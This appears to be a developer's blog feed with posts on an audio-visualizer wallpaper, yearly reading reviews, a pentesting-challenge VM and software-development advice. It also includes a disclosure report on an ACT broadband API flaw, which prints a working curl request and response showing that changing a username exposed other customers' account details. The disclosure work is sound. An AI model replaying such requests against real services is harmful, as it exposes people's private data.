<dt><a href="/blog/2017/05/01/spectrumyzer-visualization/">spectrumyzer</a></dt>
<dd><strong>May 2017</strong> Created an animated wallpaper using spectrumyzer. Wrote a <a href="/blog/2017/05/01/spectrumyzer-visualization/">blog post about it</a>.</dd>
<dt><a href="https://github.com/captn3m0/google-sre-ebook">google-sre</a></dt>
<dd><strong>Feb/Sep 2017</strong> EPUB generator for the Google SRE ebook. Started in February in Python. Gave up and redid it properly in September.</dd>
<dt><a href="https://github.com/captn3m0/codechef">CodeChef Offline</a></dt>
<dd><strong>March 2012</strong> I attempted to make a offline repository for CodeChef problems. I spent some time in May 2017 upgrading the project with a cleaner scraper and a Jekyll base.</dd>
<dt><a href="https://github.com/captn3m0/hoshruba">Hoshruba</a></dt>
<dd><strong>June 2015</strong> I wrote a script that scraped Tor’s serialized publication of the first book in Hoshruba series to generate EPUB and MOBI files. I would recommend the book if you are interested in reading what many would term the “original fantasy book”</dd>
<dt><a href="https://github.com/captn3m0/hackertray">HackerTray</a></dt>
<dd><strong>December 2013 -</strong> I wrote a Linux PyGTK application that sits in your taskbar using Indicator Applet to show you the latest stories from Hacker News. Looking for a maintainer.</dd>
<dt><a href="https://github.com/captn3m0/magicmuggle">MagicMuggle</a></dt>
<dd><strong>May 2017</strong> I wrote a script to convert Magic Muggle (A Harry Potter fanfic about a muggle who accidentally gets into Hogwarts) books from their original reddit posts to EPUB and MOBI files.</dd>
<dt><a href="https://github.com/captn3m0/kerala-it">Kerala IT Policy</a></dt>
<dd><strong>March 2017</strong> Attempted to transcribe the draft IT policies put up by the Government of Kerala. Lots of OCR followed by manual fixes. I stopped working on this when I realized that the government had actually put up a really nice website for this (with clear plaintext, not the bad PDF I was using as the source).</dd>
<dt><a href="https://lightsaber.captnemo.in">lightsaber</a></dt>
<dd><strong>August 2015</strong> I created a DNS based HTTP-3xx redirect service. Useful if you own a domain and you want it to be redirected, but don’t have a webserver with you. Made as part of the Django Hackathon organized by HackerEarth in Ruby.</dd>
<dt><a href="https://hackercouch.com">HackerCouch</a></dt>
<dd><strong>November 2015</strong> My hack during hackbeach 2015. Created something best described as “couchsurfing for hackers”. Simple Jekyll/Ruby website hosted on GitHub Pages.</dd>
</dl>
Building the perfect audio visualization2017-05-01T00:00:00+00:00https://captnemo.in/blog/2017/05/01/spectrumyzer-visualization<p>I made this as my animated wallpaper recently (Click to play/pause):</p>
<video src="/videos/spectrum_320.webm" width="320" poster="/img/spectrum/poster.jpg" onclick="this.paused?this.play():this.pause();" title="Spectrum Visualization Demo." class="center-content"></video>
<p><em>above video has a audio component, click at your own peril</em>.</p>
<p>What follows is the story and the tech behind making this.</p>
<h2 id="the-wallpaper">The Wallpaper</h2>
<p>I have a long history of using custom wallpapers. This was my wallpaper from 2014-:</p>
<p><img src="https://cdn.rawgit.com/captn3m0/avatars/a8255290/wallpaper/1920x1080.jpg" alt="Old Wallpaper" /></p>
<p>When I asked <a href="http://vikalpgupta.com/">Vikalp</a> to design a new one, I knew I wanted something that
was slightly more softer. This is what he came up with, after a few iterations:</p>
<p><img src="https://cdn.rawgit.com/captn3m0/avatars/a8255290/wallpaper/minimal.jpg" alt="New Wallpaper" /></p>
<p>This wasn’t the final iteration, and both of us agreed that there was something missing.</p>
<h2 id="visualizations">Visualizations</h2>
<p>I saw a colleague using <a href="https://github.com/karlstav/cava#arch" title="Console-based Audio Visualizer for ALSA (MPD and Pulseaudio)"><code class="language-plaintext highlighter-rouge">cava</code></a> and spent a bit of time trying out different
visualization software. The ones that I tried out:</p>
<dl>
<dt><strong><a href="https://github.com/karlstav/cava#arch" title="Console-based Audio Visualizer for ALSA (MPD and Pulseaudio)">cava</a></strong></dt>
<dd>works perfectly with i3, runs on a terminal. I couldn’t get it to work cleanly with transparency. <img src="https://rawcdn.githack.com/karlstav/cava/80d465ff2537abf030fa766bda281150c60ac162/example_files/cava.gif" alt="Cava screenshot using tiling" id="cava:" class="center-content" /></dd>
<dt><strong><a href="http://projectm.sourceforge.net/" title="MilkDrop was the hardware-accelerated music visualization plugin for Winamp. ProjectM is the port that doesn't need Winamp and works on linux">mildrop</a></strong></dt>
<dd>Winamp’s legacy. This works great for parties, but is not really an everyday-use visualizer. <img src="/img/milkdrop.jpg" alt="Milkdrop Running using projectM on Linux" id="milkdrop:" class="center-content" /></dd>
<dt><strong><a href="https://github.com/HaCk3Dq/spectrumyzer/">spectrumyzer</a></strong></dt>
<dd>Worked with transparency, but limited to bars visualization.</dd>
</dl>
<p>I decided to go ahead with Spectrumyzer (This is the default config):</p>
<p><img src="/img/spectrum/default.jpg" alt="Default Spectrum Config" title="Spectrumyzer Default Config" class="center-content" /></p>
<h2 id="the-traffic-jam">The Traffic Jam</h2>
<p>The very same day, stuck in a traffic jam<sup id="fnref:3" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">1</a></sup>, I asked Vikalp for some color ideas on the visualization.</p>
<p>The obvious 2 were tried first:</p>
<p><img src="/img/spectrum/darkblue.jpg" alt="Spectrum Dark Blue Config" title="Spectrumyzer Dark Blue Config" class="center-content" /></p>
<p><img src="/img/spectrum/yellow.jpg" alt="Spectrum Yellow Config" title="Spectrumyzer Yellow Config" class="center-content" /></p>
<p>It finally dawned on us to use the light blue variant with padding set to zero:</p>
<p><img src="/img/spectrum/blue.jpg" alt="Spectrum Light Blue" title="Spectrumyzer Blue Config with zero padding" class="center-content" /></p>
<p>Here is one showing the actual positioning (set using the offsets):</p>
<p><img src="/img/spectrum/offset.jpg" alt="Spectrum Offset" title="Spectrumyzer offset configuration" class="center-content" /></p>
<h2 id="bezier-curves">Bezier Curves</h2>
<p>With the padding set to zero, it already looked great. I ended up using this
as my wallpaper for the next one week. Vikalp wanted to make the bars
non-rectangular, and I spent some time figuring out how to make waveforms using
bezier curves<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">2</a></sup>. The basic learning from my experiments were:</p>
<ul>
<li>Cairo has methods for drawing cubic bezier curves.</li>
<li>Cubic bezier curves have 2 control points.</li>
<li>The control points must be symmetric (equidistant) as well as parallel to the origin points.</li>
<li>The parallel part ensures that the ending and starting line segments are always tangential giving a smooth joining.</li>
</ul>
<p>This is roughly what you want to do when drawing waveforms:</p>
<p><img src="/img/bezier.waveform.gif" alt="Waveform bezier curve" class="center-content" /></p>
<p>If you are interested in playing around with Bezier curves, see <a href="https://www.jasondavies.com/animated-bezier/" title="Animated Bézier Curves, Play with the control points to modify the curves!">Animated Bézier Curves</a>. <a href="https://pomax.github.io/bezierinfo/" title="A Primer on Bézier Curves, A free, online book for when you really need to know how to do Bézier things.">A Primer on Bézier Curves</a> is a math-heavy explanation if you want to read further<sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">3</a></sup>.</p>
<p>The code I wrote picks the midpoints of the bars and then connects them using bezier curves:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># control point cords
# Make sure these are symmetric
</span><span class="n">c1x</span> <span class="o">=</span> <span class="n">rect_top_mid_x</span> <span class="o">+</span> <span class="mi">16</span>
<span class="n">c2x</span> <span class="o">=</span> <span class="n">next_rect_top_mid_x</span> <span class="o">-</span> <span class="mi">16</span>
<span class="n">c1y</span> <span class="o">=</span> <span class="n">rect_top_mid_y</span>
<span class="n">c2y</span> <span class="o">=</span> <span class="n">next_rect_top_mid_y</span>
</code></pre></div></div>
<p>I also had to make the number of bars configurable (this is default=64, which doesn’t look great):</p>
<p><img src="/img/spectrum/64water.jpg" alt="Spectrum water 64" title="Spectrumyzer curves config doesn't look that great with 64 bars" class="center-content" /></p>
<p>Here is the complete final result in HD:</p>
<iframe width="560" height="315" src="https://www.youtube.com/embed/_vWe_AHAJCk?rel=0" frameborder="0" allowfullscreen="" class="center-content"></iframe>
<h2 id="what-i-learned">What I learned</h2>
<ul>
<li>Bezier curves are not magic.</li>
<li>Drawing pixels on screen and filling them was quite easy with Cairo and Python.</li>
<li>Coding is wizardry. The things that I take for granted every day (take a multi-page website and get useful tabular data out of it, for eg) are unthinkable for most people. The idea of doing water waves was something I knew would be possible before I even looked at the codebase.</li>
</ul>
<p>If you’d like to replicate this setup, or build upon it, here is my <a href="https://github.com/captn3m0/dotfiles/blob/master/files/audio/.config/spectrum.conf" title="Just ensure you have the latest spectrumyzer code before using this">spectrum.conf</a> file.
I also <a href="https://github.com/HaCk3Dq/spectrumyzer/pull/22" title="Configurable renderers">filed a PR</a> (now merged!) to the spectrumyzer project adding support for curve based renders.</p>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:3" role="doc-endnote">
<p><a href="https://twitter.com/SonyWorldJn">Sony World Junction</a> - Where startup ideas are born. <a href="#fnref:3" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:1" role="doc-endnote">
<p>The Spectrumyzer codebase turned out to be fairly easy to understand. It was just cairo and pyGTK. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:2" role="doc-endnote">
<p><a href="https://pomax.github.io/bezierinfo/" title="A Primer on Bézier Curves, A free, online book for when you really need to know how to do Bézier things.">A Primer on Bézier Curves</a> was published on HN just a few days after I finished this project. <a href="#fnref:2" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>
Book Review (2016)2017-04-02T00:00:00+00:00https://captnemo.in/blog/2017/04/02/book-review-2016<p>I tweeted this a while back about my reading progress in 2016, and thought I’d do a post about what I read.</p>
<blockquote class="twitter-tweet" data-lang="en"><p lang="en" dir="ltr">Made a graph of my <a href="https://twitter.com/goodreads">@goodreads</a> reading progress in 2016. I only picked up the pace sometime in May, but managed to read ~10k pages this year.</p>
<p><img src="https://pbs.twimg.com/media/C2D9p9DXEAADajk.png" /></p>
— Nemo (@captn3m0) <a href="https://twitter.com/captn3m0/status/819934060256563201">January 13, 2017</a></blockquote>
<p>Continuing with the <a href="/blog/2016/02/15/2015-in-review/">review tradition from last year</a>, here are the top 3 books that I read in 2016:</p>
<ul>
<li><a href="https://www.goodreads.com/book/show/26892110-the-library-at-mount-char">The Library at Mount Char</a> [<a href="https://www.goodreads.com/review/show/1648561385?book_show_action=false&from_review_page=1">review</a>]</li>
<li><a href="https://www.goodreads.com/book/show/25667918-binti">Binti</a> (Hugo winner for Best Novella, SF)</li>
<li><a href="https://www.goodreads.com/book/show/7604.Lolita">Lolita</a></li>
</ul>
<p>Other books that I enjoyed were “Bands of Mourning”, the 3rd book in Mistborn Era 2, and the Powder Mage Trilogy which I found hard to put down.</p>
<p>I decided to aim for 36 books in 2016 (as well as 2017 now), and crossed that nicely. I picked 36 because it corresponds to 3 books a month or 1 book every 10 days, which makes for a goal that is easily tracked. I count everything that goodreads might count as a book (which is both good and bad), but I stick to it. Far more important for me would be the page count, which I charted at the end of the year and I read ~830 pages a month, which I’m pretty happy with.</p>
<p>I’m hoping to read more technical books in 2017, and have made some progress on that front with re-reading <a href="https://sarabander.github.io/sicp/">SICP</a>.</p>
<p>If you are interested in the script that generated the graph, you can find it on <a href="https://github.com/captn3m0/what-to-read/blob/master/stats.rb">github</a>.</p>
Vulnerability Report: ACT Corp2017-03-26T00:00:00+00:00https://captnemo.in/blog/2017/03/26/act-vulnerability<p>ACT, for those who don’t know is one of India’s most popular broadband providers.</p>
<p>This is a very brief and concise summary.</p>
<ul>
<li>ACT has a mobile application</li>
<li>That allows you to login and check your plan details, data usage etc</li>
<li>I’ve been wanting to build a command line application that lets me check the balance easily</li>
<li>I tried scripting their website, but it was too much javascript.</li>
<li>The mobile app uses an API to do the same</li>
<li>The API happens to have really bad auth</li>
<li>Got fixed almost 3 months after reporting this.</li>
</ul>
<p><strong>Request</strong></p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl https://myfibernet.actcorp.in/api/user/plandetails <span class="nt">-H</span> <span class="s2">"Content-Type: application/json"</span> <span class="nt">-H</span> <span class="s2">"Authtoken: 2aee21dfb1ef77707c30f48ccc513ad60b74d1fc6a84d60ecc32323ab5941469"</span> <span class="nt">-H</span> <span class="s2">"Apiversion: 1.0"</span> <span class="nt">-H</span> <span class="s2">"Appversion: 32"</span> <span class="nt">-H</span> <span class="s2">"Devicetype: 1"</span> <span class="nt">-H</span> <span class="s2">"Deviceid: 68590327e3e0ca81"</span> <span class="nt">-H</span> <span class="s2">"Mobilenumber: 9999999999"</span> <span class="nt">-H</span> <span class="s2">"Mid: 8973808103928d98703e65c0106b7a9d4001886234afbc2d7ce6415b75f9c216"</span> <span class="nt">--data</span> <span class="s1">'{"username":"11111111"}'</span>
</code></pre></div></div>
<p>The API responds back with the following:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="nl">"code"</span><span class="p">:</span><span class="w"> </span><span class="mi">200</span><span class="p">,</span><span class="w">
</span><span class="nl">"status"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
</span><span class="nl">"message"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Success"</span><span class="p">,</span><span class="w">
</span><span class="nl">"data"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="nl">"plan_details"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="nl">"agreement_info"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="nl">"agreement_no"</span><span class="p">:</span><span class="w"> </span><span class="s2">"XXXXXXXXXX"</span><span class="p">,</span><span class="w">
</span><span class="nl">"promotion_code"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="p">,</span><span class="w">
</span><span class="nl">"package_code"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ACTESS01M"</span><span class="p">,</span><span class="w">
</span><span class="nl">"package_name"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="p">,</span><span class="w">
</span><span class="nl">"agreement_startdate"</span><span class="p">:</span><span class="w"> </span><span class="s2">"DD/MM/YYYY"</span><span class="p">,</span><span class="w">
</span><span class="nl">"expiry_date"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="p">,</span><span class="w">
</span><span class="nl">"status"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="p">,</span><span class="w">
</span><span class="nl">"entity_code"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[]"</span><span class="p">,</span><span class="w">
</span><span class="nl">"subscription_period"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[]"</span><span class="p">,</span><span class="w">
</span><span class="nl">"payterm"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[]"</span><span class="p">,</span><span class="w">
</span><span class="nl">"billingcycle_code"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[]"</span><span class="p">,</span><span class="w">
</span><span class="nl">"contract_type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ISP"</span><span class="p">,</span><span class="w">
</span><span class="nl">"outlets"</span><span class="p">:</span><span class="w"> </span><span class="s2">"1"</span><span class="p">,</span><span class="w">
</span><span class="nl">"service_points"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="p">,</span><span class="w">
</span><span class="nl">"package_tenure"</span><span class="p">:</span><span class="w"> </span><span class="err">int</span><span class="p">,</span><span class="w">
</span><span class="nl">"due_date"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="w">
</span><span class="p">},</span><span class="w">
</span><span class="nl">"product_info"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="nl">"product_code"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="p">,</span><span class="w">
</span><span class="nl">"product_desc"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">},</span><span class="w">
</span><span class="nl">"plan_usage_info"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="nl">"service_id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ACTESS01M"</span><span class="p">,</span><span class="w">
</span><span class="nl">"service_name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ACTESS01M"</span><span class="p">,</span><span class="w">
</span><span class="nl">"outbyteslimit"</span><span class="p">:</span><span class="w"> </span><span class="mi">322122547200</span><span class="p">,</span><span class="w">
</span><span class="nl">"outbytesremaining"</span><span class="p">:</span><span class="w"> </span><span class="mi">153400581140</span><span class="p">,</span><span class="w">
</span><span class="nl">"outbytesused"</span><span class="p">:</span><span class="w"> </span><span class="mi">168721966060</span><span class="w">
</span><span class="p">},</span><span class="w">
</span><span class="nl">"bill_info"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="nl">"accountno"</span><span class="p">:</span><span class="w"> </span><span class="s2">"111111112233"</span><span class="p">,</span><span class="w">
</span><span class="nl">"subscribername"</span><span class="p">:</span><span class="w"> </span><span class="s2">"NAME"</span><span class="p">,</span><span class="w">
</span><span class="nl">"phonenumber"</span><span class="p">:</span><span class="w"> </span><span class="s2">"PHONENUMBER"</span><span class="p">,</span><span class="w">
</span><span class="nl">"address"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="nl">"line1"</span><span class="p">:</span><span class="w"> </span><span class="s2">"YUP"</span><span class="p">,</span><span class="w">
</span><span class="nl">"line2"</span><span class="p">:</span><span class="w"> </span><span class="s2">"THESE TWO LINES WERE FILLED"</span><span class="p">,</span><span class="w">
</span><span class="nl">"line3"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="p">,</span><span class="w">
</span><span class="nl">"district"</span><span class="p">:</span><span class="w"> </span><span class="s2">"AND THIS"</span><span class="p">,</span><span class="w">
</span><span class="nl">"city"</span><span class="p">:</span><span class="w"> </span><span class="s2">"BANGALORE"</span><span class="p">,</span><span class="w">
</span><span class="nl">"state"</span><span class="p">:</span><span class="w"> </span><span class="s2">"KARNATAKA"</span><span class="p">,</span><span class="w">
</span><span class="nl">"country"</span><span class="p">:</span><span class="w"> </span><span class="s2">"India"</span><span class="w">
</span><span class="p">},</span><span class="w">
</span><span class="nl">"billno"</span><span class="p">:</span><span class="w"> </span><span class="s2">"10000001111"</span><span class="p">,</span><span class="w">
</span><span class="nl">"billdate"</span><span class="p">:</span><span class="w"> </span><span class="s2">"DD/MM/2016"</span><span class="p">,</span><span class="w">
</span><span class="nl">"account_period"</span><span class="p">:</span><span class="w"> </span><span class="s2">"01/MM/2016-30/MM/2016"</span><span class="p">,</span><span class="w">
</span><span class="nl">"previous_due"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="p">,</span><span class="w">
</span><span class="nl">"current_invoice_amt"</span><span class="p">:</span><span class="w"> </span><span class="s2">"1234"</span><span class="p">,</span><span class="w">
</span><span class="nl">"total_due"</span><span class="p">:</span><span class="w"> </span><span class="s2">"0"</span><span class="p">,</span><span class="w">
</span><span class="nl">"bill_due_date"</span><span class="p">:</span><span class="w"> </span><span class="s2">"15 Nov 2016"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>Some of these are empty fields, and some values that I didn’t understand I’ve replaced with <code class="language-plaintext highlighter-rouge">[]</code>.</p>
<p>The fun part is that the request is actually a POST and contains the following data:</p>
<p><code class="language-plaintext highlighter-rouge">{"username":"11111111"}</code></p>
<p>I happen to have friends who also use ACT. I <a href="https://twitter.com/captn3m0/status/803579876502405120">asked around for usernames</a>, and just by changing this one parameter in the request, I could access the complete details of almost everyone else.</p>
<p>Almost everyone, because for certain cases, I get a valid empty response. Valid because it has the same schema, but empty because all values are empty strings. Don’t know what that happens consistently only for certain accounts. (One of these was a Hyd account, the other in BLR).</p>
<p>If you are interested I’m working on a simple API that lets you access the ACT API to check the same details. It would ask you for an OTP the first time you login, and then cache the credentials to let you check the balance easily.</p>
<p><del>I’ve reported this to ACT as soon as I found it. Will disclose after I’ve given them some time!</del></p>
<p><strong>Update</strong>: This was reported and fixed by ACT after I managed to find a contact via an investor (really!).</p>
<p><strong>Timeline</strong></p>
<table>
<thead>
<tr>
<th>Date</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>29 Nov 2016</td>
<td>Vulnerability Identified</td>
</tr>
<tr>
<td>29 Nov 2016</td>
<td>Email sent to ACT, no response</td>
</tr>
<tr>
<td>6 Dec 2016</td>
<td>Email sent with partial customer details to explain scope of the issue, no response</td>
</tr>
<tr>
<td>8 Dec 2016</td>
<td>Reminder sent, no response</td>
</tr>
<tr>
<td>20 Jan 2017</td>
<td>Another reminder with a writeup sent. I also set a deadline of 29th January (2 months since first contact). Also got in touch with CERT-IN. <em>No response</em></td>
</tr>
<tr>
<td>23 Jan 2017</td>
<td>Accidentally an investor in ACT saw my tweet and responded over twitter. Send a writeup, along with the suggestion to take down the application</td>
</tr>
<tr>
<td>24 Jan 2017</td>
<td>ACT reports issue is fixed. I test and report back as fixed the next day</td>
</tr>
<tr>
<td>26 Mar 2017</td>
<td>Report published</td>
</tr>
</tbody>
</table>
<p>However, the huge timeline involved here pretty much guarantees that if you are an ACT customer,
your data is out there in the public.</p>
CCTC Challenge VM2017-03-25T00:00:00+00:00https://captnemo.in/blog/2017/03/25/cctc-vm-images<p>This is specifically about the contest held in 2011,
6 years ago. I’ve written about my experience
during the contest <a href="/blog/2011/11/20/cctc-blog/">on this blog</a>.</p>
<p>More specifically, Round 2 of the contest was a pentesting
scenario where we were only provided with a VM image
and asked to test it and report any vulnerabilities
that we found.</p>
<p>I recently found the VirtualBox images, and thought
I’d share them as a easy intro to web security.</p>
<h1 id="instructions">Instructions</h1>
<ol>
<li><a href="/contact/">Reach out to me</a> for the VM image</li>
<li>Hack.</li>
<li>Credentials are student:student (username:password)</li>
<li>Open <VM_IP>/cctc in your browser.</VM_IP></li>
</ol>
<h1 id="rules">Rules</h1>
<ol>
<li>Only application and its serving components can be tested for vulnerabilities. The serving components include
<ul>
<li>Webserver</li>
<li>Operating System</li>
<li>Any other services/files in the guest machine and guest operating system</li>
</ul>
</li>
<li>Any vulnerability identified in any component outside the above mentioned ones, will not be used for evaluation</li>
<li>All participants should necessarily submit all the exploit codes/custom scripts written to identify the vulnerabilities in the system.</li>
<li>The deadline for the original challenge was 2 weeks, but you’re free to take as much time as you want. Feel free to publish a list of vulnerabilities you find.</li>
</ol>
<p><a href="https://docs.google.com/spreadsheets/d/1s_o-HGlS2dKbDnm2mjTbgXpDHDHQgMYXlbOMEVNaBvY/edit?usp=sharing">The attached spreadsheet</a> provides format of the report, challenges in scope, and the details to be filled out for each vulnerability identified.</p>
<p>The tasks to be performed are mentioned in the report. Each task consists of the following sections:</p>
<ol>
<li>Vulnerability/Vulnerabilities - You need to write the description of the vulnerability</li>
<li>Root Cause(s) - What is the root cause of the vulnerability?</li>
<li>Approach adopted (Steps with screenshots) – Write the steps followed to exploit the vulnerability along with screenshot of the final screen and/or intermediate steps.</li>
<li>Remediation with sample code snippet – Write the remediation steps to address this vulnerability. Also, write the sample code if applicable.</li>
</ol>
<p>Also <a href="https://drive.google.com/file/d/0B2qzfUR1eWklMHJONkZPUkVqLWZPS3pwTzFDYW84aVJhbjZB/view?usp=sharing">attached is a step by step installation guide</a> for application set-up.</p>
<p>Few points to be considered:</p>
<ul>
<li>Challenges can be attempted and completed in any order.</li>
<li>Only the application and its serving components can be tested for vulnerabilities. All other components like VMware, if tested for security issues, would lead to disqualification.</li>
<li>I will not be responsible for the discovery/notification of any zero day vulnerability in any software. If any zero-day vulnerability is identified, it is the responsibility of the concerned participant to notify the vulnerability to the respective vendor as per vendor’s policy.</li>
</ul>
<p>If you are really interested, you can find a copy of the report
we submitted at <a href="/reports/cctc/">/reports/cctc</a>.</p>
<p>Thanks to Harshil and Shobhit for working alongside on this.</p>
2015 in Review2016-02-15T00:00:00+00:00https://captnemo.in/blog/2016/02/15/2015-in-review<p>2015 was a good year for me. I accomplished a lot of things, and was happy for most part of the year. In no particular order, here are the things that stand out for me:</p>
<ul>
<li><a href="/blog/2015/07/20/hillhacks/">Went to HillHacks</a>, and made lots of friends. Helped organize the conference.</li>
<li>Joined <a href="https://razorpay.com">Razorpay</a> in June</li>
<li>Moved to Bangalore</li>
<li>Announced my book, <a href="https://captnemo.in/blog/2015/06/07/on-writing/">The Joy of Software Development</a></li>
<li>Did lots of speaker things:
<ul>
<li><a href="https://captnemo.in/talks/josd/">Joy of Software Development</a> talk at IIT Roorkee</li>
<li>Flash Talks on <a href="https://docs.google.com/presentation/d/1qR3JuGU7FXry333qGfVvapshDn72oCjEN8l7bShQl2Y/pub?start=false&loop=false&delayms=3000">SDSLabs</a>, <a href="http://slides.com/captn3m0/ctf/">CTFs</a> and a few more things at HillHacks</li>
<li>A full-length talk on the book itself at HillHacks</li>
<li>Did the <a href="https://speakerdeck.com/captn3m0/hillhacks-quiz-2015">HillHacks</a> and <a href="https://docs.google.com/presentation/d/1glE2G1xKGkSVELVaQ7YJ4JGul0NLzfHRl1xGgMIwi9Q/pub?start=false&loop=false&delayms=3000">HackBeach</a> quizes</li>
<li>Announced my <a href="/homeopathy/">Homeopathy Bug Bounty Program</a> at hackbeach.</li>
<li>Gave a talk on <a href="http://slides.com/captn3m0/fun-with-http">Fun with HTTP</a> at Barcamp Bangalore.</li>
</ul>
</li>
<li>Learnt some slacklining at hackbeach. Helped with conference scheduling as well.</li>
<li>Made <a href="https://hasgeek.com">lots</a> of <a href="http://nilenso.com">new friends</a> at Bangalore.</li>
<li>Started playing board games, including being a DM at several Dungeons and Dragons sessions.</li>
<li>Started quizzing in bangalore as well. Mostly at Cluesday, Vapors.</li>
</ul>
<h2 id="reading">Reading</h2>
<p>I started with a goal of 20 books for this year, and ended up reading about 28. Tried experimenting with Audiobooks near the year end, and failed. Bought a Kindle paperwhite as well. I tend to read a lot of Fantasy and SF, and this continued in 2015 as well. The best books I read this year (in order):</p>
<ul>
<li>Lions of Al Rassan [<a href="https://www.goodreads.com/review/show/1241094426">review</a>]</li>
<li>The Goblin Emperor [<a href="https://www.goodreads.com/review/show/1400549503">review</a>]</li>
<li>The Martian [<a href="https://www.goodreads.com/review/show/1148506677">review</a>]</li>
</ul>
<p>A complete list is on <a href="https://www.goodreads.com/user/year_in_books/2015/6170741">Goodreads</a></p>
<h2 id="tech">Tech</h2>
<ul>
<li>Launched <a href="https://hackercouch.com">hackercouch</a> as a personal project.</li>
<li>Shifted to Arch Linux + i3wm setup for my laptop. See <a href="/setup/">Setup</a> page for more details.</li>
<li>Left facebook, mostly because of their stance on Net Neutrality and the FreeBasics debacle in India.</li>
</ul>
How to get better at software development?2015-10-12T00:00:00+00:00https://captnemo.in/blog/2015/10/12/get-better-at-software-development<p>I often get a lot of queries from people asking me about how to get started with software development, and how to get better at it. My replies are almost reaching stock-level worthy of copy-paste now, so I thought I might as well write about it publicly.</p>
<p>What follows is a list of advice I’d give to any person who wants to write software for a living. A lot of it might apply across professions, and a lot of it is tailored to students in universtities. Not everything might apply in your case, YMMV. Take everything with a pinch of salt. Feedback is welcome.</p>
<ol>
<li>
<h3 id="join-a-community">Join a community.</h3>
<p>Highly preferable if its an IRL (In-real-life) community rather than just a chatroom somewhere, but even those are preferable over nothing. Communities have this shared sense of learning, that you don’t enjoy anywhere else. Passive learning is something I talk a lot about, and it only happens because of chance interactions that happen in communities. Even online communities work fairly well, and by online communities I mean places like StackOverflow, AskUbuntu, ServerFault, HackerNews, subreddits etc.
If you don’t have a physical community near you that you can join, maybe its time to start one?</p>
</li>
<li>
<h3 id="contribute-to-open-source-projects">Contribute to Open Source projects</h3>
<p>It doesn’t have to be with your code, or even a large project. Even small javascript npm modules that you might think can be improved deserve some Pull Request love.</p>
</li>
<li>
<h3 id="write-all-code-publicly">Write all code publicly</h3>
<p>Your code not being public should be the exception, not the norm. I’ve found putting almost all my code on github fairly liberating. I keep all my OS configuration and a lot of other things on github.</p>
</li>
<li>
<h3 id="do-tech-talks">Do tech talks</h3>
<p>It doesn’t have to be at a big-name conference, but maybe at a small meetup around you. Good conferences will sponsor your tickets, and as a plus, you get to attend all the talks at that conference for free. Just make sure that you actually <em>do know</em> what you’re talking about, unlike a lot of talks that happen.
The level of knowledge expected of a speaker is far more, and as a result if you are the one talking about something, you need to get better at it and understand it better, which is a great way of forcing yourself to learn something.</p>
</li>
<li>
<h3 id="stay-updated">Stay Updated</h3>
<p>Reading Hacker News is a fairly certain way of making sure of that. A person doing PHP development should be aware of things like Composer, HHVM, and perhaps the upcoming changes in PHP7 (They’re awesome). As a technologist, part of our job is to stay updated with trends (no matter how insane the JS framework wars sound). The code you will be writing 5 years from now will be in an entirely different framework than what you are using today. This doesn’t mean that you should start learning the ins and outs of every JS framework, but rather that you should be tangentially aware of developments happening in the space. (For eg, following stable updates of Rails even though you are not a Rails developer).</p>
</li>
<li>
<h3 id="learn-more-languages">Learn more languages</h3>
<p>I am a proud polyglot, and I very often realize that knowing more than one language changes your style and more importantly your thinking process significantly. For eg, a Ruby programmer will be fairly comfortable with the idea of metaprogramming compared to a PHP developer, and even more so when it might come to DSL (Domain Specific Languages). Similarly, knowing Haskell or Functional Programming in general teaches you a lot of things that you might re-use back in your JavaScript world. <br />
This doesn’t happen unless you know more than one language. Moreoever, its always helpful to have JavaScript as your second language (if you are looking for one), because of its monopoly in front-end development. A lot of technologies (like CORS/JSONP) just don’t make sense unless you understand JavaScript.</p>
</li>
<li>
<h3 id="concepts-matter">Concepts Matter</h3>
